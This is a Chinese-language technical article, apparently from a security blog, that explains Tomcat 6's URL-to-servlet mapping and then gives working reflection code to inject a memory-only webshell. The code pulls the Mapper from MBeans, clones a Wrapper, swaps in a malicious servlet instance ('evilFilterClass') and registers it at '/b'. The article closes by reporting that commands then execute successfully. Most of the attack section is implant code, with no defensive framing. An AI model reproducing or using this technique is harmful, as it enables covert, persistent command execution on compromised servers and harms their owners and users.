Tomcat基于Servlet的无文件webshell的相关技术研究
前几篇文章主要介绍了在tomcat，weblogic下如何通过动态注册一个Filter的方式，去实现无文件落地的webshell。当然在J2EE中，我们也可以动态注册一个Servlet去实现无文件落地的webshell。
以下分析基于tomcat6，其他版本的Tomcat的思路类似
0x00 servlet简介
1. Servlet 是什么？
Java Servlet 是运行在 Web 服务器或应用服务器上的程序，它是作为来自 Web 浏览器或其他 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层。使用 Servlet，您可以收集来自网页表单的用户输入，呈现来自数据库或者其他源的记录，还可以动态创建网页。Java Servlet 通常情况下与使用 CGI（Common Gateway Interface，公共网关接口）实现的程序可以达到异曲同工的效果。但是相比于 CGI，Servlet 有以下几点优势：
- 性能明显更好。
- Servlet 在 Web 服务器的地址空间内执行。这样它就没有必要再创建一个单独的进程来处理每个客户端请求。
- Servlet 是独立于平台的，因为它们是用 Java 编写的。* 服务器上的 Java 安全管理器执行了一系列限制，以保护服务器计算机上的资源。因此，Servlet 是可信的。
- Java 类库的全部功能对 Servlet 来说都是可用的。它可以通过 sockets 和 RMI 机制与 applets、数据库或其他软件进行交互。
2. Servlet 架构
下图显示了 Servlet 在 Web 应用程序中的位置。
0x01 Tomcat响应servlet的流程
在org.apache.catalina.core.StandardContextValve#invoke中，简化后的代码如下
Wrapper wrapper = request.getWrapper();
Object[] instances = this.context.getApplicationEventListeners();
ServletRequestEvent event = null;
int i;
ServletRequestListener listener;
HttpServletRequest sreq;
if (instances != null && instances.length > 0) {
event = new ServletRequestEvent(((StandardContext)this.container).getServletContext(), request.getRequest());
for(i = 0; i < instances.length; ++i) {
if (instances[i] != null && instances[i] instanceof ServletRequestListener) {
listener = (ServletRequestListener)instances[i];
try {
listener.requestInitialized(event);
} catch (Throwable var13) {
this.container.getLogger().error(sm.getString("standardContext.requestListener.requestInit", instances[i].getClass().getName()), var13);
sreq = request.getRequest();
sreq.setAttribute("javax.servlet.error.exception", var13);
return;
}
}
}
}
wrapper.getPipeline().getFirst().invoke(request, response);
在tomcat处理每次请求中，该方法是最重要的一个环节。在该方法中负责处理Listener请求，创建FilerChain以及找到对应的Servlet。
而wrapper.getPipeline().getFirst().invoke(request, response);就是调用url请求对应的servlet。下面我们的任务就是找到tomcat如何设置wrapper对象，以及如何通过url去查找相对应的servlet类。
我们从tomcat请求一个url开始分析
如果对tomcat高度抽象化，我们可以得出如下结论。tomcat是由Connector与container构成。Connector主要负责Tomcat如何接受网络请求，Container则负责装载webapp。在这其中Adapter是Connector与Container的桥梁，负责两者之间信息的传递。
目前为止，Tomcat 只有一个 Adapter 实现类，就是 CoyoteAdapter。Adapter 的主要作用是将 Request 对象适配成容器能够识别的 Request 对象，比如 Servlet 容器，它的只能识别 ServletRequest 对象，这时候就需要 Adapter 适配器类作一层适配。
在org.apache.catalina.connector.CoyoteAdapter#service方法中，包装request与response对象。并且根据url中webapp的名称，调用响应的container。简化后的代码如下
public void service(Request req, Response res) throws Exception {
org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request)req.getNote(1);
org.apache.catalina.connector.Response response = (org.apache.catalina.connector.Response)res.getNote(1);
if (this.connector.getXpoweredBy()) {
response.addHeader("X-Powered-By", POWERED_BY);
}
req.getRequestProcessor().setWorkerThreadName(Thread.currentThread().getName());
if (this.postParseRequest(req, request, res, response)) {
this.connector.getContainer().getPipeline().getFirst().invoke(request, response);
}
org.apache.catalina.connector.CoyoteAdapter#postParseRequest负责处理request请求，从request中获取相关信息冰传递给tomcat。下面主要分析一下org.apache.catalina.connector.CoyoteAdapter#postParseRequest 该方法可以认为从请求中读取http请求等，关于请求url到servlet的代码如下
this.connector.getMapper().map(serverName, decodedURI, request.getMappingData());
request.setContext((Context)request.getMappingData().context);
if (request.getContext() == null) {
res.setStatus(404);
res.setMessage("Not found");
this.connector.getService().getContainer().logAccess(request, response, 0L, true);
return false;
} else {
request.setWrapper((Wrapper)request.getMappingData().wrapper);
if (!this.connector.getAllowTrace() && req.method().equalsIgnoreCase("TRACE")) {
Wrapper wrapper = request.getWrapper();
request.getMappingData()中负责存储本次请求url与servlet的请求。而this.connector.getMapper().map中负责查找url与servlet的对应关系，并存储到request.getMappingData()中。下面我们主要分析一下this.connector.getMapper().map方法，当然该方法最终调用的是org.apache.tomcat.util.http.mapper.Mapper#internalMap方法，代码如下
org.apache.tomcat.util.http.mapper.Mapper#internalMap
private final void internalMap(CharChunk host, CharChunk uri, MappingData mappingData) throws Exception {
if (mappingData.host != null) {
throw new AssertionError();
} else {
//... 省略无关代码
if (!found) {
if (contexts[0].name.equals("")) {
context = contexts[0];
}
} else {
context = contexts[pos];
}
if (context != null) {
mappingData.context = context.object;
mappingData.contextPath.setString(context.name);
}
if (context != null) {
this.internalMapWrapper(context, uri, mappingData);
}
}
}
}
上面代码的作用是，从Mapper中根据webapp的名称，查找到相关的Map.context。而Map.context中，存储着每个webapp中url与servlet的对应关系。在方法的最后，调用this.internalMapWrapper去查找相对应的Wrapper，并存放在request中，作为本次请求中待调用的servlet。
在internalMapWrapper中，将会根据请求类型，去查找响应的Wrapper。总的来说有两大类，servlet与jsp。主要请求区别如下
- servlet 的wrapper中，ServletClass为用户的类。并且webapp中所有的exactWrapper都存放在Mapper的exactWrappers中
- jsp也是一类特殊的servlet，在服务器上会编译为servlet。所以jsp的wrapper只有两个，存放在Mapper的extensionWrapper中，一个为处理jsp的Wrapper，另外一个处理jspx
internalMapWrapper的代码如图所示
现在找到tomcat如何设置wrapper以及请求流程，下面来实现基于servlet的无文件webshell。
0x02 代码实现
实现servlet主要有以下几个技术难点
1. 寻找Mapper对象
根据我们的分析结论，Mapper是实现servlet的重点。mapper中的hosts字段，对应不同的webapp，在你需要的那个webapp添加servlet。在tomcat中，寻找Mapper对象的方法主要有以下两种
1.1 全局context中
注意，这里是全局context，而不是webapp的context。context中获取Mapper的方法如下图
注意 我这里为了截图，直接从pageContext中截图，但是实际是不可以的，一定是全局context
1.2 MBean中
这种就比较简单，在tomcat的MBean中，存储全局Mapper对象。我们可以从MBean中获取Mapper，然后添加我们自己的url与servlet的映射关系即可。代码如下。注意，在服务器上运行，能反射就反射，因为肯定没有相关的package。
Method getRegistryM = Class.forName("org.apache.tomcat.util.modeler.Registry").getMethod("getRegistry", Object.class, Object.class);
Object RegistryO = getRegistryM.invoke(null, null, null);
Method getMBeanServerM = RegistryO.getClass().getMethod("getMBeanServer");
Object mbeanServer = getMBeanServerM.invoke(RegistryO);
Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor");
field.setAccessible(true);
Object obj = field.get(mbeanServer);
field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository");
field.setAccessible(true);
obj = field.get(obj);
field = Class.forName("com.sun.jmx.mbeanserver.Repository").getDeclaredField("domainTb");
field.setAccessible(true);
HashMap obj2 = (HashMap) field.get(obj);
obj = ((HashMap) obj2.get("Catalina")).get("port=8080,type=Mapper");
field = Class.forName("com.sun.jmx.mbeanserver.NamedObject").getDeclaredField("object");
field.setAccessible(true);
obj = field.get(obj);
field = Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource");
field.setAccessible(true);
Object Mapper = field.get(obj);
2. 向Mapper中添加wrapper
幸运的是，Mapper中有相关方法，可以直接添加一个wrapper。其中第一个参数为url，第二个为url请求相对应的wrapper
org.apache.tomcat.util.http.mapper.Mapper#addWrapper(org.apache.tomcat.util.http.mapper.Mapper.Context, java.lang.String, java.lang.Object)
protected void addWrapper(Mapper.Context context, String path, Object wrapper) {
this.addWrapper(context, path, wrapper, false);
}
通过反射调用的代码如下
Method addWrapperF = Mapper.getClass().getDeclaredMethod("addWrapper",
context.getClass(), String.class, Object.class);addWrapperF.setAccessible(true);
addWrapperF.invoke(Mapper, context, "/b", wrapperTest);
3. 如何生成一个Wrapper对象
在这里直接实例化Wrapper是不可以用的。所以我们需要想办法创建一个属于我们自己的wrapper对象。但是wrapper对象中参数过于复杂，为了不影响其他servlet的请求过程，深拷贝一个先有的wrapper对象，并修改响应ServletName是最简单的办法。但是wrapper对象没有实现clone方法。所以在这里我自己通过递归写了一个深拷贝对象的方法，代码如下
public Object CopyObject(Object src, Object dst, Class srcClass) throws Exception {
// 只考虑本项目中使用，恰好src对象只能通过无参构造函数去实例化
if (dst == null) {
dst = src.getClass().newInstance();
}
if (srcClass.getName().equals("java.lang.Object")) {
return dst;
}
Field[] fields = srcClass.getDeclaredFields();
for (Field f : fields) {
if (java.lang.reflect.Modifier.isStatic(f.getModifiers())) {
// 如果是静态的变量，在这里不复制，直接跳过
continue;
}
if (java.lang.reflect.Modifier.isFinal(f.getModifiers())) {
// 如果是final的变量，在这里不复制，直接跳过
continue;
}
// 如果该字段不为public，则设置为public访问
if (!f.isAccessible()) {
f.setAccessible(true);
}
f.set(dst, f.get(src));
}
return CopyObject(src, dst, srcClass.getSuperclass());
}
拷贝对象后，我们再修改相关参数即可。
Object wrapperTest = CopyObject(wrapperObject, null, wrapperObject.getClass());
Method addMappingM = wrapperTest.getClass().getDeclaredMethod("addMapping", String.class);
addMappingM.invoke(wrapperTest, "/b");
4. Wrapper中servlet加载机制
在tomcat随后的请求中，会通过调用org.apache.catalina.core.StandardWrapperValve#invoke，获取Wrapper中对应的servlet。并调用，代码如下
public final void invoke(Request request, Response response) throws IOException, ServletException {
boolean unavailable = false;
Throwable throwable = null;
long t1 = System.currentTimeMillis();
++this.requestCount;
StandardWrapper wrapper = (StandardWrapper)this.getContainer();
Servlet servlet = null;
Context context = (Context)wrapper.getParent();
try {
if (!unavailable) {
servlet = wrapper.allocate();
}
下面我们主要分析一下wrapper.allocate()的代码
public Servlet allocate() throws ServletException {
if (!this.singleThreadModel) {
if (this.instance == null) {
synchronized(this) {
if (this.instance == null)
this.instance = this.loadServlet();
}
}
}
public synchronized Servlet loadServlet() throws ServletException {
actualClass = jspWrapper.getServletClass();
ClassLoader classLoader = loader.getClassLoader();
Class classClass = null;
if (classLoader != null) {
classClass = classLoader.loadClass(actualClass);
} else {
classClass = Class.forName(actualClass);
}
如果不存在instance，则通过loadServlet去查找对应的class并实例化。所以，我们直接修改wrapper的instance字段为实例化后的servlet即可。
Field instanceF = wrapperTest.getClass().getDeclaredField("instance");
instanceF.setAccessible(true);
instanceF.set(wrapperTest, evilFilterClass.newInstance());
以上问题全部解决后，调用addWrapper添加即可完成
addWrapperF.invoke(Mapper, context, "/b", wrapperTest);
0x03 成果检验
访问b 提示404
执行成功后，可以正常执行命令
